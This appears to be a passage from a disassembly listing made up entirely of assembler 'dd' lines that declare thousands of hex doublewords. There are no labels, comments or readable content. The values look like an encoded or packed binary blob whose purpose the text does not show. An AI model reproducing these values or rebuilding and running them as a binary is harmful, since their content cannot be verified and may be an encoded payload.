		dd 0FF47B127h, 6D65C10h, 74573F93h, 0E7D1B880h,	6D3C3E1Ah
		dd 5B0FD518h, 1FD0228h,	0BC2A9176h, 0E89D6B72h,	1D601F87h
		dd 8745110h, 0FCC800EEh, 7678626Ch, 7E15B0FAh, 219C6559h
		dd 0C6F800DDh, 6A33C793h, 489D6900h, 0A2B39F5h,	4E3A00A6h
		dd 222ADD49h, 0A700C66Fh, 13EAE97Fh, 7DED2F1h, 0EE68D1DFh
		dd 84B8B045h, 207971C1h, 688E6330h, 0A89632E6h,	1C9AD194h
		dd 84AB9FD2h, 0B70944h,	3F82389Dh, 408602EFh, 0A25AC571h
		dd 0C033AA02h, 70CD67h,	283438ECh, 0A01084C7h, 5DAFF800h
		dd 552E6F2Bh, 52AD0544h, 612184Ch, 8F657DBh, 7091803Ch
		dd 1B006090h, 0B853F549h, 0F959748h, 6419D59Fh,	91F23267h
		dd 0E4880694h, 0D701FF3Ah, 0AD3BC2F4h, 0DFC022E4h, 0D59500C4h
		dd 0EC6F3863h, 7E7586B2h, 39580100h, 0F6F91367h, 0CD1200BFh
		dd 6E2B9AB8h, 820071A1h, 1A64F0F7h, 5C925258h, 0DC1D0524h
		dd 9FE44067h, 405DEC3Dh, 5AEA1C00h, 0FEBB4641h,	2FE656h
		dd 4A6080EEh, 0C9C2B582h, 86593Bh, 813E95Fh, 35192Ch, 0DCEDC58Dh
		dd 1B297F94h, 0BBB17400h, 6C1C22EBh, 0FCF7686h,	4782800Ah
		dd 25DCB8E0h, 810003C0h, 9C445C06h, 60BF7Dh, 4D1FC5ABh
		dd 741EF03Ch, 870006F8h, 0C3AF67E8h, 382015F7h,	598F1A4Ah
		dd 0FE0A76Eh, 0A39C6A2Bh, 90FAEC01h, 84F086A1h,	0D7F6C540h
		dd 9DAA0FBFh, 0F4A05CC7h, 952D14DEh, 724F5248h,	0FA366100h
		dd 6234CC64h, 0F30D1E6Dh, 4C0800A2h, 149F0489h,	9848B20Fh
		dd 6326A04Dh, 0D87374h,	3966972h, 0B72B3A7Ah, 4800A672h
		dd 36714B57h, 0A96EE0h,	4931CD75h, 965199AAh, 0DCF3C800h
		dd 9DEBC64Fh, 9B552606h, 0C980011h, 0EF3A447Eh,	2EA76100h
		dd 0AA7C2A78h, 0FA7839h, 0E0ED9F0Dh, 6CF0F330h,	0EC81D900h
		dd 40EFD613h, 0F7FC83h,	35793897h, 28BF1FE2h, 0D64F3A00h
		dd 955D2093h, 0F07500C1h, 981AE4B2h, 3B002B3Fh,	4F5AD1F5h
		dd 7F329C9h, 0AC83BD10h, 4B008B4Dh, 7696DEBh, 2CDF9E03h
		dd 0D8EE5B3Bh, 0E60B6Ah, 53981D97h, 1589ADCDh, 4A7B0C00h
		dd 0FBC940ACh, 75EC01F1h, 0D2133F55h, 866ED432h, 0E6E7F901h
		dd 0B9B25736h, 0C220F0h, 561348EDh, 9C2DAD2Fh, 0F379C407h
		dd 64E03662h, 4FD328h, 0F6C542A4h, 1A3F8C21h, 0FC0BFD07h
		dd 72D0E79Ah, 5E2029h, 8E6EDB37h, 564D4142h, 8F804F07h
		dd 0A0909B25h, 0F51F86h, 498E9821h, 226B7A4Ch, 9582007h
		dd 10500639h, 142784h, 31BB48B4h, 409D555Dh, 580F5F00h
		dd 9C5A1C17h, 32E5012Eh, 1EA4DC9h, 0C856088h, 7699A802h
		dd 0D717668Dh, 12B87C80h, 5C01CEC0h, 0D75742FDh, 0A7CC24F0h
		dd 75301FFh, 35B7410Dh,	5ADBE0C3h, 0F6384A00h, 0AA3BDF3h
		dd 0D39C0017h, 6128D7A5h, 2E01FCDCh, 0CE22A90Eh, 0E5D5DAF8h
		dd 8AD834D1h, 2F1B1C7Bh, 97AC057h, 43BF1441h, 9E1F6B00h
		dd 822BFFFEh, 38890A9h,	5EF1DA65h, 113C7FEFh, 5AD012Ah
		dd 8F2E26ACh, 7D0080BEh, 0F0855024h, 0CF038010h, 0E7DB3CF4h
		dd 0D2C0ECF2h, 0EE631A37h, 36F4F1h, 0B9461478h,	0A6134423h
		dd 5E7CBB0Ch, 0ECA411BAh, 581D603Ch, 2FF0B265h,	30B79528h
		dd 9C01AE7Dh, 0F4D21658h, 19815998h, 0EB5D3EA6h, 0B73BC4A9h
		dd 0D52FA50Ch, 0EF04807h, 91720109h, 8E009529h,	478D4245h
		dd 7CFF810Eh, 684007B0h, 934BA0FEh, 3EBC129Fh, 5880EE33h
		dd 0E4E28A2Eh, 100119DCh, 2C159506h, 7FF8EDFBh,	384F004Eh
		dd 9C3B3D84h, 0A4002531h, 46C798Bh, 0F613FFh, 0CC7E1DC9h
		dd 83EF5985h, 79235600h, 6DC07362h, 264EFCC5h, 6FA0EBh
		dd 3CD68231h, 0FE7EA5C6h, 9CCBBC00h, 0BAAF39DEh, 76F004B7h
		dd 0C0E49B20h, 0EABB727Eh, 0C187E307h, 0B7E0E74Dh, 78C3453h
		dd 664480F0h, 186E7F03h, 8898DBE0h, 0C10091D1h,	0B8AD7A6Fh
		dd 5A12A97h, 348405E7h,	98A4106Eh, 7F0A4000h, 0AB066D30h
		dd 32965500h, 1F3E2677h, 0A03F07C3h, 2040BD19h,	1C7DDBBh
		dd 10FEFC00h, 5D23A8F0h, 0B94816ACh, 6D520039h,	0E56F2977h
		dd 58FE48h, 5D98775h, 0E2C707h,	37B44ABFh, 0F2A120A8h
		dd 0BE666B00h, 67508F5h, 1629C4D1h, 74B642BAh, 28D201B9h
		dd 0E5E100F9h, 87A810Ah, 0EE36445Ch, 0D851BB61h, 0AE030BBEh
		dd 290946D4h, 405A7179h, 9164B88Fh, 4E471251h, 9958A035h
		dd 2A000C6Fh, 2E6D40F3h, 0EE6B1ECDh, 558A2C61h,	0F7F907E1h
		dd 4CBA60FEh, 95009DC5h, 7AB19B7Bh, 560BB94h, 0CAE32A48h
		dd 28C9C0E2h, 0F3002182h, 0AE8C8EADh, 0F90DFAh,	0D02925AFh
		dd 64EF56D5h, 0B8E1BE00h, 0FE2480A7h, 0D449002Bh, 2873CE6Ch
		dd 2A075068h, 944C910Ah, 0B33F13h, 2308F718h, 4058A95Ah
		dd 77950D00h, 8CC14725h, 0CD1C0086h, 127E1A5Fh,	0B900447Fh
		dd 732E788Dh, 3F14D6h, 5B979DB1h, 133CC226h, 0FFA89103h
		dd 8812871Bh, 1EB5D1DAh, 0FDE4CCA0h, 40BECF03h,	8FA8B3CBh
		dd 15F89270h, 0F8E7A228h, 0CDE3A00h, 0EE4CEFC4h, 6F6B00A5h
		dd 150ACD51h, 0A7033708h, 65DAF741h, 820FA8A8h,	4F6F24Dh
		dd 96383AB4h, 0F422C0C4h, 0C00FA50h, 0C964487Fh, 7861EDh
		dd 567E54B9h, 8D2A04Ch,	0B600EAF0h, 51634B86h, 0FFDA02h
		dd 335326DCh, 7F4845F4h, 81851A00h, 395FD346h, 8EA0006Eh
		dd 4E47A18h, 0B40FD274h, 4005B006h, 0CBE022CCh,	5DA90BA7h
		dd 0D500B5F1h, 0CDC7B762h, 0BB3D3Fh, 0DDDCE04Ah, 0FB15B4h
		dd 78D2A759h, 0ECE5435Fh, 5D685100h, 5324B83Dh,	19E7005Ah
		dd 1AC4129Eh, 0AB006EBEh, 70E6801Eh, 0B7C531h, 3B79E4EEh
		dd 64ADC7C6h, 7F888463h, 0B2BBD0B3h, 0B64C3DEEh, 4A8B8E80h
		dd 3C6E1C35h, 2FA2B74h,	0E0B8891Fh, 0E5D8AEC0h,	18C429DBh
		dd 68677496h, 25772A64h, 0E669AF00h, 206E81BCh,	0FC5738D2h
		dd 40E7221Ch, 1CF701EBh, 282DC5AEh, 7E5588Fh, 32DACCEh
		dd 8A4737ECh, 0B5EA00C9h, 0E767AA6Ah, 6C00FB7Ah, 9EE51AC1h
		dd 0DD208Fh, 9FD945DCh,	212A41AAh, 3797DA00h, 59C2C11Fh
		dd 0B63F2E50h, 20B20070h, 31D3AE18h, 34A24F01h,	4C16671Ah
		dd 3A92E5F4h, 3C0730C4h, 0DE9627AAh, 0EA0E02A0h, 541E35D3h
		dd 7C81FA3Eh, 2CF3931Eh, 1AD6FCh, 0C5FB806Ah, 0A54AE366h
		dd 6C41DB07h, 0D7F02482h, 3B4F9FDCh, 0C3012F6Bh, 3C77460h
		dd 18B8FB7Bh, 0F81C3CB1h, 1A80077Ch, 0D1CCDDADh, 1123005Bh
		dd 0D2D30367h, 54026AF1h, 2419BEBFh, 4A6F609Eh,	990F1E4Fh
		dd 88068084h, 0B9E29D91h, 3AE1700h, 0DD5B4C01h,	0A7760F4Bh
		dd 0D7FD2047h, 6D470046h, 51F5C022h, 0BD000B71h, 6A2EBEB0h
		dd 288E4879h, 7498A96Ch, 2B0C002Ah, 0B83FC298h,	0C903D11Ah
		dd 0E551405Fh, 5CFDA854h, 70341CABh, 6FAAC0BEh,	6ACAC4EEh
		dd 32070092h, 0F5A799Bh, 5E4A4B70h, 82E20710h, 526FB0C7h
		dd 8C4815ACh, 563B95CBh, 20088066h, 0D4BA8ADFh,	0CCD80035h
		dd 0D99496ABh, 6500E014h, 90A18716h, 10674FFh, 0EED25AF6h
		dd 0D33B1AB5h, 0DE59E90h, 67E7BB01h, 0CFB88240h, 3D35CCh
		dd 0AB91468Eh, 10979250h, 3FFEA890h, 5F99EE03h,	47938Ch
		dd 4416E330h, 250DBEF3h, 5A635C02h, 0C0312240h,	0F9731Fh
		dd 0D07B1149h, 625BB2C9h, 97ABDD00h, 4DDE4E72h,	0B32800E1h
		dd 30AF6CCEh, 3A98853Fh, 80EB073Ah, 4B9F8A2Dh, 4BB334Eh
		dd 0B821A8Eh, 0DECC81A0h, 0F38AC4EDh, 699AEE03h, 0B86BB53h
		dd 0A9F101C8h
		dd 8350D480h, 5D00D7DEh, 146A224Eh, 734F3CDBh, 47DD0031h
		dd 90D0BEA3h, 860394B6h, 0E6AAC1D4h, 5ED3B833h,	0B0800068h
		dd 0EA0DC273h, 0C8A45D14h, 56E70731h, 0B8207FF7h, 4892738Fh
		dd 19005933h, 17250873h, 0A00048A1h, 0B5805EF2h, 0D6FAE5h
		dd 0A8DC4E97h, 0B7DAB38Bh, 2866B40Fh, 26FC80AEh, 15F9A1h
		dd 0EC739CFEh, 0DEE046ABh, 0AFBEB700h, 0A8B12E89h, 230300D8h
		dd 0C901619Bh, 227887ACh, 5E880700h, 73FB3C4Fh,	519C00C3h
		dd 1EAA13AFh, 2E002F87h, 10BFDB09h, 0A99969h, 4214D504h
		dd 21B79A52h, 92FC6000h, 0CC6F46F7h, 0B98300B8h, 99DE4AA9h
		dd 0C9008956h, 92C885C0h, 525BE60h, 2A421E86h, 938C273Ch
		dd 44C9D6AEh, 4E62C4DAh, 1125300h, 5B3E5CEEh, 19F40008h
		dd 6013B3D8h, 600EC0Eh,	355AA1D3h, 1A8CCBh, 8E0D6272h
		dd 7F014543h, 0F4441900h, 0ADBE5616h, 669900BDh, 0DEA05AC9h
		dd 64002D7Bh, 1EB32E62h, 0E171AB6Ah, 3C122B61h,	9B1BE03Bh
		dd 0C75C2E27h, 102E03D9h, 300A03E3h, 0E05B11FBh, 0A6DF058Eh
		dd 88DC6Ch, 7DF526DBh, 9737BD2Dh, 0AC96750Ah, 0D00BC4Eh
		dd 0DBA473AAh, 502F76ABh, 3CF48EA6h, 808034AFh,	0CD450BECh
		dd 4003A354h, 7535E1E7h, 0BA780099h, 73EC9B55h,	0C30577D1h
		dd 161FF10Dh, 5ADDEE00h, 1D753C0h, 0A5FFA029h, 0C86801B5h
		dd 4F000634h, 0A1CD2DD9h, 1C8EF0DDh, 0EEAC9Eh, 5F8F1D98h
		dd 0AC9A7B42h, 10E86400h, 718EE618h, 0C67B38h, 7B8B2F4Ch
		dd 0AF06D944h, 0B1832600h, 6B7E60B3h, 689077h, 0FB8CCDC9h
		dd 8DD92C50h, 0E888B100h, 0A706480Dh, 0AF03306Eh, 0D42F6AC0h
		dd 703EC07Dh, 0D5E103DEh, 0C886F9F8h, 1F599A67h, 0C007182Dh
		dd 9F25CE88h, 0F600BA90h, 97CE8C1h, 2EBB29AEh, 0BE698h
		dd 67ED55D7h, 1A283062h, 4100CC1Dh, 17CCE3F9h, 265C3Eh
		dd 0BB99ADCAh, 0B96E5FC4h, 4EE8D560h, 9B53D69h,	7EE8B724h
		dd 465BB000h, 5300DA6Dh, 8A804D43h, 767D77h, 73446210h
		dd 81BD36E1h, 0A3FBD600h, 3424F25Dh, 536A0001h,	71F3C7EAh
		dd 0E901DA8Dh, 0CE9F9E87h, 0C0D7F5BFh, 18C5C91h, 0C9B2689Bh
		dd 0FC25D318h, 311FB5B1h, 0A4286742h, 0E6E21C0Bh, 0FA4100A1h
		dd 34B9851h, 0C31E246Dh, 6FE06E2Fh, 0A8007A11h,	47804375h
		dd 0EABDB72Bh, 16CC1E7Fh, 1BF10765h, 2549A0DDh,	601CD34Ah
		dd 6C14E93h, 65C1AEC9h,	3492FCh, 0EDF53EC8h, 3FFFE925h
		dd 6A7F6C00h, 0AFC2B927h, 1D29E46Eh, 0C01C2D04h, 2CE38DB6h
		dd 4B00B788h, 0F9D0E572h, 3C4047Ah, 0D3484D54h,	74F02621h
		dd 0F80061D9h, 901FB1Ch, 159DF7Fh, 403915E0h, 0ECC4B5ECh
		dd 0DC70D311h, 6D004E7Bh, 0A680AD50h, 50B67DFFh, 0FA3876h
		dd 36B4AAD5h, 0B7711D4Eh, 295F2F01h, 87515CFCh,	7E3907C8h
		dd 0AD4900E2h, 0AA5D0921h, 0A53B4B81h, 26039777h, 2052090Eh
		dd 0B43266E3h, 0AE6D0064h, 0BDCFDEC3h, 2500AFBBh, 830E41DFh
		dd 989BA2h, 137CC67Fh, 6465A0EFh, 74F783Bh, 5B020ED1h
		dd 2FC926A0h, 8D860FEAh, 51A02405h, 5FA33D4Fh, 1800957Bh
		dd 2966F13Fh, 3B68D032h, 0FC5E1E06h, 576700C2h,	69478A99h
		dd 6CE8003Ch, 4FC2F5C8h, 37765950h, 1E927F03h, 0D0ED521Fh
		dd 0D7563h, 20FAC4ECh, 0E13DD02Bh, 3A77EAF6h, 83D88900h
		dd 0DDB7686Eh, 3321F70h, 77FC0F1h, 5416495Ch, 45283D60h
		dd 7ECC7C5h, 6181350Dh,	0C59EC463h, 42D7011Ch, 40C3DD04h
		dd 4F9712C4h, 0AE9AB200h, 0A3B97951h, 86D40F76h, 4840CE44h
		dd 43070FDEh, 87E3E23Dh, 0F640F033h, 0FDB43780h, 0AFDA0045h
		dd 237BFFC4h, 0B500DE6Ch, 38D69A75h, 4FBACCh, 0E42C296Dh
		dd 488DBB5Ch, 59896C03h, 7BB10365h, 4B741210h, 0F633003Ah
		dd 0EC7A9D34h, 0AE26431Dh, 90157787h, 63CE7990h, 65B304C7h
		dd 0EB80D1FBh, 0F8E54EC7h, 767CB6C1h, 0FDE839D7h, 4C020079h
		dd 80752586h, 2D54CB3Ch, 0B700F190h, 0DAFC53C5h, 0BE79E0h
		dd 0CF484197h, 6030124Bh, 0DC28A901h, 7FA56283h, 60B1DAE0h
		dd 86345EA7h, 9A1C7BC2h, 767805FFh, 293EB00h, 0E6299012h
		dd 45963CF4h, 0BBDE3F00h, 5A5C461Dh, 803C193Eh,	0FC56AA74h
		dd 2149D4h, 7CC38D07h, 2381E3E9h, 0D6913C03h, 14DCDE15h
		dd 942C9BF0h, 8E0B441Fh, 0FD4C6AE6h, 3000D9E0h,	66206046h
		dd 0E6CDCAB4h, 877FA1h,	2C0AF469h, 9533171Fh, 71E64F00h
		dd 4C347BBBh, 6A3C0082h, 1409A206h, 361C6904h, 70B016F7h
		dd 11FB6F1h, 6F89339Bh,	0C43D0747h, 97338CEDh, 0C8CF7884h
		dd 75A03B0h, 0E9D36B36h, 28745026h, 39008A53h, 594EE73Eh
		dd 0FA0EC1B8h, 0D38F399Bh, 0CC0030BEh, 2C6EA6EDh, 6800D435h
		dd 1AC0132Eh, 1D2A0B7h,	3C393353h, 30E824F6h, 20002B5Fh
		dd 3DB415A9h, 1FE2EEB9h, 408466CDh, 2191ABC0h, 9E002E52h
		dd 0F22BB7A5h, 724BB39Ch, 84A30166h, 0BC85C1E4h, 22E1405Ch
		dd 1000B083h, 0C5A6A13h, 0E0143DCh, 0D111C142h,	0AC794Ah
		dd 0F123540Fh, 833F9FF9h, 0CFEE8415h, 0D8C01014h, 2E5F7Eh
		dd 13098450h, 0DB6B62FFh, 4A583C00h, 37FB1601h,	120B3BBEh
		dd 6C8F6639h, 1322578h,	0ABC435E8h, 82C0FFFDh, 0A900FE88h
		dd 7BE2A3A6h, 0EAA8F516h, 0CD77BFh, 0DEB38931h,	0AB631AC8h
		dd 3090A7E8h, 6C6D7400h, 0EF5E432Dh, 0D6BE0F59h, 7AA0EEFDh
		dd 2B06D137h, 0C36B3B00h, 285126Ah, 55F0F7h, 7B9130Ah
		dd 0A74C3267h, 0B7FCE504h, 8D0EDD8h, 9D3976Ah, 0F22E9980h
		dd 0BE2638A0h, 2312C37Bh, 8C00E441h, 57D94281h,	74943B9Ah
		dd 7B7E1680h, 0BD591788h, 9EC31228h, 0C0354B00h, 827D9279h
		dd 0F2A1242Ch, 4EA01CD7h, 0F9E15795h, 20A4F8A3h, 7A1D8044h
		dd 28037136h, 0C8CBFF86h, 0AC65Dh, 0A7C0022Bh, 5CDC6FF3h
		dd 3ED60912h, 1835314h,	8B12CC33h, 57F0AC17h, 412B0021h
		dd 0BF370A6Ch, 2002526h, 72BC8907h, 1EDCF77Bh, 0CE497A76h
		dd 29223942h, 0F8809EEEh, 18ABFCC7h, 8B069902h,	60F6793Dh
		dd 19C805h, 361766EAh, 0CA64ACF8h, 0F0C9D500h, 5DBFB463h
		dd 0C30E002Ah, 3A03465Ah, 0A90A8E3Eh, 0F84D7093h, 0E40C2D80h
		dd 3B47A5E0h, 6B00B020h, 65EFE926h, 0E00EA46h, 56C693Eh
		dd 284A715Bh, 1B47CAEh,	9A20F3F2h, 0CD9E652Ch, 4AB8236Fh
		dd 141360FCh, 4966005Dh, 0B4902AB9h, 426D807h, 0D20CE5Eh
		dd 0F6612BFDh, 3AC800F7h, 4013BB46h, 0E6F04ED4h, 7A064C00h
		dd 0E8B41791h, 0A40A1EEEh, 82DD400Fh, 0C6D1FA71h, 1A27F20Eh
		dd 9E03A02Eh, 0A26CB5h,	0AF730BF5h, 3399789Ah, 0F8B27A00h
		dd 408BDDB6h, 0D5E900CCh, 2D9F39D6h, 60785957h,	0E49BDF00h
		dd 756630Eh, 70F40005h,	0CCE63074h, 6800992Bh, 0D3D23FA4h
		dd 0EF8CCDh, 972A65C5h,	0A6255A8Ah, 0F6371C00h,	11E74481h
		dd 491000C7h, 48A279F4h, 8D7041A3h, 7FD26A04h, 8CD0CA9Ch
		dd 3D8F76DDh, 5CF70B1Bh, 0BC069944h, 86FC7C6Bh,	0FFCF8D00h
		dd 0A9498AF3h, 72C9004Ch, 12A61C0h, 5D005EFDh, 30584595h
		dd 1BDF625h, 22E5F540h,	70683A6Ah, 0FEC107Fh, 8132E307h
		dd 6E370A54h, 0A8E4FD1Fh, 0C1DE7880h, 3CDB691Eh, 34305519h
		dd 2ECFBA18h, 0CDA7560Ch, 0B7103Ah, 1F25D321h, 9207ABB5h
		dd 8A5E6E02h, 0C0798E2Eh, 0A1714Eh, 491EE524h, 0F4A3DBCBh
		dd 80DFCC3Ah, 0EBFBB42Bh, 3537F8Bh, 0DAB1ECB6h,	0BAA3816Eh
		dd 6BFD7003h, 0E0D1F41Eh
		dd 739836h, 85DD2920h, 0B6ECDC96h, 0C4B2801h, 12BC7F75h
		dd 21E289Fh, 81DCE4F2h,	0D6F9A8A7h, 4A0351BBh, 0FF29A1DEh
		dd 0FC76A0B6h, 0C6F928D7h, 70E41838h, 99033983h, 0CC0019FEh
		dd 0ABE821F7h, 31EF66h,	0D06EC1C5h, 0A14B5CE7h,	0C9FA9702h
		dd 0FF844885h, 800E870h, 27939BACh, 71AB725Bh, 4A502E6Ah
		dd 0D7E00046h, 0DDC6E502h, 79CDBC07h, 6DE0180Ah, 25CFF8h
		dd 56434E83h, 0A8F1D8FEh, 9474AB0Fh, 0A5D040CAh, 0F180DFDh
		dd 8FECD4B5h, 24D98E60h, 0AF00ED57h, 894F6DF1h,	596279h
		dd 0E1EBD66h, 50A5A804h, 0A600E9E0h, 592299Fh, 1166518h
		dd 54B64609h, 809DE5AAh, 6F94DAF9h, 189FE6Bh, 529C4C6Eh
		dd 805A9626h, 37BDB020h, 28EAE0CDh, 0C0FA623Dh,	3952FE39h
		dd 0A813DA61h, 2800A0B8h, 0F8315843h, 0C9043062h, 79807B29h
		dd 0DEDCB8A8h, 4DF279C0h, 0F735B7Ah, 4907AC2Dh,	0C9155780h
		dd 0D005A26h, 30A7F483h, 70436Ch, 420CDCA5h, 86ACD5E4h
		dd 0EC2DCD00h, 6F45E3A7h, 0C7BE01CCh, 0F13C52FFh, 87DFE4E8h
		dd 108A69C3h, 6991F80Fh, 627103B4h, 84B834E2h, 47729FF8h
		dd 44F95A1Ch, 65A5EF81h, 0B98776D6h, 2079A713h,	0E352DF25h
		dd 0B7DAB518h, 0F1A2C9h, 6EBAB6BBh, 1CBFDDA5h, 37B4AB14h
		dd 0F1C20670h, 30673Ch,	0C5B182FFh, 2D5BB640h, 8480DA73h
		dd 3CC7039Dh, 0D130A318h, 0B10970C7h, 0B51250A2h, 25001ADBh
		dd 83E714D0h, 0C12B0F28h, 0E88BA9E1h, 0CF201B0Fh, 0EA0E19ACh
		dd 0AD72F600h, 0EC2E07C7h, 8C2665Fh, 0D002182h,	274372F4h
		dd 705549DFh, 1A7933B2h, 0BF80F958h, 5900F7AFh,	605626F4h
		dd 3EA484DCh, 406C0A1Ah, 48C0370h, 0C88672E7h, 2E85622Fh
		dd 0EA873900h, 0FC07B75Dh, 0DF80F6E1h, 807A54C2h, 1A21A3A6h
		dd 83923097h, 2ACF0A30h, 5C7251Ch, 3BCDCCC3h, 0B40831CEh
		dd 0F417C021h, 6003E812h, 8FEA8A42h, 1DA170F3h,	45F68D66h
		dd 834C6F4h, 71C0FE30h,	4604B42Ch, 607D22CDh, 0E2F980EFh
		dd 5300A9BCh, 0DBFC2D27h, 7A147791h, 807931h, 15EAA63Ah
		dd 3B1A39E3h, 0F0B6F518h, 1595870h, 66699342h, 0CC1CE8C5h
		dd 6C1F3BB7h, 38C0F8EEh, 49BE4EC7h, 0FFFC2Ch, 0BC8F034Dh
		dd 0ED925E5h, 0DD0772F8h, 46F5DF40h, 0A845EB0h,	6E301F2Fh
		dd 78F0C060h, 0F7EF6193h, 477B3E00h, 952765A6h,	52D800FFh
		dd 43F6CA11h, 0FC008706h, 0AB61EAC8h, 1F123F5Ch, 1ECDDAE3h
		dd 0FBB500A9h, 0DA43790h, 0FFC83200h, 0AE57315Dh, 0AC7515h
		dd 6A979F0Fh, 88EB484Ch, 83F15B00h, 25111EB5h, 58961576h
		dd 1EB80424h, 448ED68h,	2A01A579h, 901B004Fh, 1AEB221Ch
		dd 0C986C202h, 59673A5h, 931C081Bh, 0AA4AA08h, 4720E0ABh
		dd 0A705C745h, 60C9C3CCh, 9B010FD1h, 28090899h,	2818D450h
		dd 6E581206h, 789A69ADh, 9D915801h, 0F3398A75h,	0F14890F5h
		dd 7450563Ah, 601010A2h, 8A2979Bh, 701F0433h, 0CD22DDCCh
		dd 4C91710h, 1B1C6004h,	9D34766Dh, 0C22081Dh, 601482B8h
		dd 9E4C86A0h, 741D2380h, 50281034h, 6B540F25h, 47A1E67Fh
		dd 0F4EBCC99h, 25882BB8h, 960203E1h, 52061424h,	0D207E0A1h
		dd 421FC97h, 1923617Dh,	54B0414Ah, 18FC46E9h, 6E53800h
		dd 16D2DE7Ah, 866C01B2h, 2235B01h, 734180E0h, 80F75F6Eh
		dd 92CE18C6h, 139918F4h, 38CBD032h, 6DCAF18h, 0D2069B9h
		dd 543980C8h, 0D44B3048h, 7C322800h, 43460D4Eh,	3B162424h
		dd 8762819Ch, 80E96654h, 0C0BCB871h, 14EF7BAAh,	34B41F1Bh
		dd 20D4B70Ch, 0A0018E49h, 0E8FD12Ch, 0B5DCA448h, 74A57B11h
		dd 8B43008Ah, 9C9D5103h, 240C4B9Eh, 0A908B891h,	0E01418AFh
		dd 1FE908E3h, 0D0D02A81h, 48C1D961h, 6809A40Fh,	0C468F00h
		dd 0FB1D0C5h, 6FACA254h, 90624EDEh, 8583E3E9h, 81F0C5BAh
		dd 4101C7E2h, 50FF7CC2h, 0C4481836h, 3DFB0A04h,	3F8C55B5h
		dd 0A730DFDCh, 0C81459E8h, 8F247C1Ch, 895645CCh, 602B0027h
		dd 9E904896h, 0E00072D8h, 0F5309102h, 92C945A6h, 0F7593CD0h
		dd 60D0BC38h, 4E88A068h, 0B4C14886h, 0EA61E101h, 0D7531971h
		dd 0BCD96AA0h, 70305C68h, 808DCB0Eh, 0EFFA970Fh, 9E38C318h
		dd 0B4A16A76h, 76C3FED2h, 6DCEC4C0h, 3F21E96Eh,	0E7912B01h
		dd 0A18A9FA1h, 87AC29A4h, 34D00CEEh, 0C8F880FFh, 0BC011788h
		dd 0CED6DBA3h, 0CBE1814Dh, 81E026D4h, 3A85D91h,	0B0D199B0h
		dd 0EA55E0BBh, 60925024h, 2054D089h, 0B1A74E64h, 0B88252C8h
		dd 1A709DC2h, 8078FA10h, 441A5B0h, 1D09D0h, 1CC91F85h
		dd 7B38A1EDh, 3F188B00h, 4ADF589h, 7C20902Ah, 0ED190141h
		dd 526FCCA2h, 0A486C661h, 0AD73D0FFh, 3F4513Ah,	3F73552Ch
		dd 746FC0CAh, 0C85A60E5h, 65EE1DE2h, 450097F8h,	0F6C0D8B5h
		dd 3E9DE66Ah, 50C9B890h, 854DF006h, 7848C95Eh, 1FFC10BCh
		dd 8A81B840h, 0ACB08413h, 0A7E4E0C6h, 40D0D749h, 721D22D8h
		dd 20145699h, 4C59B18Ch, 74A1E100h, 6944AB48h, 3D0C01E1h
		dd 30871370h, 412CEA6Dh, 225DBCCEh, 34858630h, 882CA359h
		dd 0D9F4181Bh, 12998C9h, 84E23FCEh, 0B805B060h,	0C6089078h
		dd 51005DDDh, 966FC4B7h, 19D5A3Dh, 0ECA513C2h, 8CECA90h
		dd 22190E76h, 0E5C34726h, 917F657Fh, 0F5F029C4h, 83229142h
		dd 0B19E1C80h, 86294DEFh, 1C0758E2h, 0C05AD41Bh, 918F453Bh
		dd 0F4E04525h, 0CAA4FFA6h, 48D4A203h, 19174h, 169B5180h
		dd 4B3D97F4h, 0D43A8119h, 41F2C260h, 87D1AEB8h,	0CC3FE070h
		dd 62793718h, 92A49406h, 0A1712BA1h, 0C8200534h, 6868A010h
		dd 25B0A98Bh, 4CCE9434h, 0C4185CFFh, 7B43394Ah,	7CAC6103h
		dd 0D09EEF9Dh, 7B588DAh, 0FF9C8EA3h, 64418E13h,	2448A7CAh
		dd 289036B0h, 0F544F6F0h, 42E0ECh, 83419734h, 7402BF59h
		dd 2E968203h, 0C022A0E9h, 0AEC542h, 8B59B795h, 9E07FFFh
		dd 70EB9F0h, 81BF7B19h,	5E2BAE47h, 1BE9408Fh, 6E4C03BFh
		dd 1000D43Ch, 81CD7CF2h, 1F410609h, 3FF9796Dh, 427BBE80h
		dd 74DC30E2h, 0A13BFD00h, 0F9156EA9h, 0F270077Ah, 1FB3E890h
		dd 0B8C6EA63h, 3A659000h, 49466EE7h, 0D93E18CEh, 0B39C0871h
		dd 0E21820C0h, 0FA93FFE7h, 5A7A2Bh, 0F3B6FD1Dh,	0C71404EEh
		dd 0E80AE30Ch, 7D2250C5h, 7BD10131h, 8C2E8F13h,	2F0898CAh
		dd 748853D1h, 0C4EA30F8h, 7F133781h, 0C082F4E1h, 81027DFEh
		dd 0BD39E94Fh, 0B89880D6h, 6FD3D1h, 18788CF7h, 0CDA09E31h
		dd 18B1500h, 7FD4A43Dh,	0C1F372C1h, 6A52DD30h, 41A0B3C6h
		dd 3FCD8002h, 0E0310596h, 0E889F2h, 6C4262F6h, 40CEF028h
		dd 0CF580229h, 98D4A0BCh, 167A5D1h, 0BD48FE0Ah,	0D09EEC32h
		dd 20C0FF79h, 0D4A5B4E2h, 6A9F25Fh, 9BEC7324h, 4204E80Ah
		dd 0B770EB58h, 1B9D87C0h, 85A50CC7h, 7D986916h,	7EAB0700h
		dd 915A2953h, 0F26F0093h, 3BD874Bh, 14EC5CA0h, 64BC730Fh
		dd 45EA4332h, 8EF3B0A1h, 56EB002Eh, 0B8B596ABh,	4300EE03h
		dd 0AE695892h, 3F11F9E3h, 678087C6h, 983564BAh,	3300CE32h
		dd 0CCE243C4h, 278BDE6h, 9FC5BCDCh, 1760CA2Fh, 0CF00FA3Fh
		dd 2102A18Bh, 1406C1h, 0BA17CBC3h, 0F40C1353h, 3E040900h
		dd 792FA2A0h, 36900B5h,	0EEB8E143h, 800FB19h, 72F4D931h
		dd 14C459Eh, 0D206366h,	213DF79Ah, 128BCCDAh, 94E5D201h
		dd 5CD491D3h, 0CF70A20h, 0CACE14A5h, 3E032D28h,	5BD20D84h
		dd 0C0049CC2h, 0F54B4437h
		dd 87A8014Eh, 0B8BCCB08h, 0DD2F11C2h, 11E5D511h, 3811C832h
		dd 0BF1F1136h, 1E80910h, 40A073A3h, 24C8ECC2h, 86FF07E2h
		dd 0C585D697h, 72870756h, 0B05ED082h, 0FC0057E4h, 0C9493545h
		dd 2C2328h, 9714C86Fh, 0C7C5F42h, 1F055418h, 85CA32h, 0B11BEDD7h
		dd 1357FB9Ah, 6CB5D000h, 7A60EB5Fh, 0F5DA0181h,	9801F62Fh
		dd 6040D939h, 0FE26D1DDh, 54038F50h, 0DFD3BD97h, 0B9A9FFh
